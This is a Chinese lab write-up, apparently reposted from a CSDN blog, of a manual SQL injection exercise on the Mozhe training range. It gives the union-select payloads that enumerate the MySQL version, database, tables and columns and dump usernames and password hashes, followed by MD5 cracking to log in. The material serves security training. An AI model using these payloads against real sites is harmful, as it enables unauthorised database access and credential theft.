SQL手工注入漏洞测试(MySQL数据库)

发布时间:2023年12月25日

一、实验平台

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

二、实验目标

获取到网站的KEY,并提交完成靶场。

三、实验步骤

①、启动靶机,进行访问查找可能存在注入的页面

②、通过测试判断注入点的位置(id=)

(1)、注入点的判断方式? ? ? and 1=1 页面正常? ? ? ? and 1=2 页面错误

(2)、可能存在注入,随意填写(说明id =1 后边有注入点)(拼写的语句是为了测试你写的语句有没有带入到数据库执行,有影响说明带入数据库查询,所以 说明有注入点。)

③、猜解列名数量(字段数)order by x (错误与正常的正常值)

通过测试4没错,5错误,说明列名数量为4

http://124.70.64.48:41613/new_list.php?id=-1 union select 1,2,3,4

④、信息收集获取网站的数据库版本、数据库名字等

数据库版本 version()? ? ?5.7.22-0ubuntu0.16.04.1(5.0以上高版本,)

数据库名字database()? ??mozhe_Discuz_StormGroup

数据库用户user()? ??root@localhost

操作系统@@version_compile_os? ? ? Linux

⑤、查询指定数据库名mozhe_Discuz_StormGroup下边第一个表名信息

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

⑥、查询指定表名下的列名信息(查询有哪些列名)

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

⑦、查询指定列名下数据:

union select 1,name,password,4 from StormGroup_member

这里我们得到一个用户名,还有一串数字,我们根据靶场提示,可知利用md5解密然后我们登录发现并不对,后来经过查找才知道上边的语句只显示第一行数据。

⑧、猜解多个数据可以采用limit x,1变动猜解(列名下的数据有多行时候可以变动猜解)

union select 1,name,password,4 from StormGroup_member  limit 0,1

union select 1,name,password,4 from StormGroup_member  limit 1,1

这里我们发现一个新的密码,然后解密试着登录一下?

⑨、果然利用第二种方法查找的密码是正确的,接下来我们将靶场拿下拿到我们所需要提交的KEY

文章来源:https://blog.csdn.net/qq_61861243/article/details/135206288
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。